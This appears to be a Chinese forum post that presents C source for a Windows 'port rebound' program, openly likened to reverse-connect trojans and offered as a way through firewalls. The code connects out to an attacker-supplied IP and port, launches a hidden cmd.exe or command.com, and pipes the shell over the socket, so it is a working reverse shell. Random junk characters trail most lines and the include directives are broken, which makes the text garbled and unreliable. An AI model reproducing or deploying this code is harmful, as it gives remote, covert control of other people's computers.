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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 s>hNwb/  
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/* ============================== g93-2k,  
Rebound port in Windows NT ;G_{$)P.o  
By wind,2006/7 CR3<9=Lv>  
===============================*/ YQGVQ[P  
#include VJquB8?H  
#include BnJpC<xm  
r/o1a't;  
#pragma comment(lib,"wsock32.lib") uL| Wuq  
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void OutputShell(); hq[;QF:B  
SOCKET sClient; }n/6.%  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; W u?A} fH  
!c+,OU[  
void main(int argc,char **argv) EY'kIVk  
{ lr[U6CJY  
WSADATA stWsaData; 2H+!78  
int nRet; _M[@a6?  
SOCKADDR_IN stSaiClient,stSaiServer; !0i6:2nw  
t&m 8 V$Q  
if(argc != 3) 3[`/rg,  
{ Yl}'hRp  
printf("Useage:\n\rRebound DestIP DestPort\n"); +ZOjbI)  
return; tbMf_-g  
} U4`6S43ki  
n$]78\C  
WSAStartup(MAKEWORD(2,2),&stWsaData); 2Iv&XxSo  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); v__n>*x  
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stSaiClient.sin_family = AF_INET; |qe[`x; %  
stSaiClient.sin_port = htons(0); `b.KMOn  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); Q> OBK&'  
y~eQVnH5W  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) Xm#rkF[,  
{ 'YKyY:eZ  
printf("Bind Socket Failed!\n"); J)7m::%I  
return; s}3g+T\l1w  
} DAYR=s  
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stSaiServer.sin_family = AF_INET; |AD" }8  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); vlW521  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); ITpo:"X g  
)T2V< 3l  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) w4I&SLm-b  
{ bxU2.YC  
printf("Connect Error!"); e3T&KyPm?+  
return; 5D9n>K4|  
} ?xkw~3Yfi  
OutputShell(); `4GEq2%  
} ::goqajV  
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void OutputShell() YF)uAJAk  
{ barY13)$U  
char szBuff[1024]; U1oZ\Mh  
SECURITY_ATTRIBUTES stSecurityAttributes; Vc2 (R^  
OSVERSIONINFO stOsversionInfo; ,hO*W-a% 1  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; u?Pec:3%  
STARTUPINFO stStartupInfo; [2~^~K  
char *szShell; d`eX_]Z  
PROCESS_INFORMATION stProcessInformation; UYLCzv~W  
unsigned long lBytesRead; ,oin<K  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); z?Hi u6c-  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); Hsdcv~Xr;l  
stSecurityAttributes.lpSecurityDescriptor = 0; 19#s:nt9  
stSecurityAttributes.bInheritHandle = TRUE; 1:Sq?=&  
nr*nX  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); EU5^"\  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); )~> C1<  
d2~*fHx_!  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); =qWcw7!"  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; q7#4e?1  
stStartupInfo.wShowWindow = SW_HIDE; g]$e-X@k  
stStartupInfo.hStdInput = hReadPipe; P0 4Q_A  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; !4Oj^yy%  
]S2F9  
GetVersionEx(&stOsversionInfo); }F B]LLi  
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switch(stOsversionInfo.dwPlatformId) OTy{:ID  
{ ":I@>t{H*  
case 1: P* Z1Rs_  
szShell = "command.com"; JK jVrx> @  
break; *#y9P ve  
default: f*%Y]XL;%  
szShell = "cmd.exe"; z<I@SI^>  
break; +hZ{/  
} qpEK36Js  
XJSI/jpa@  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); &m PR[{  
;#/Uo8  
send(sClient,szMsg,77,0); /l%+l@  
while(1) w/49O;rV  
{ m=K46i+NE  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); +|K/*VVn`  
if(lBytesRead) [gkOwU=?  
{ Zws[C  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0);  8MZ:=  
send(sClient,szBuff,lBytesRead,0); lWyg_YO@  
} n1Z*wMwC  
else 8V?*Bz-4`  
{ }VU7wMk  
lBytesRead=recv(sClient,szBuff,1024,0); Can:!48  
if(lBytesRead<=0) break; NScUlR"nE  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); j6&q6C X  
} #TG7WF 5  
} L> \/%x>Wx  
kJ_XG;8  
return; 'Szk!,_  
}
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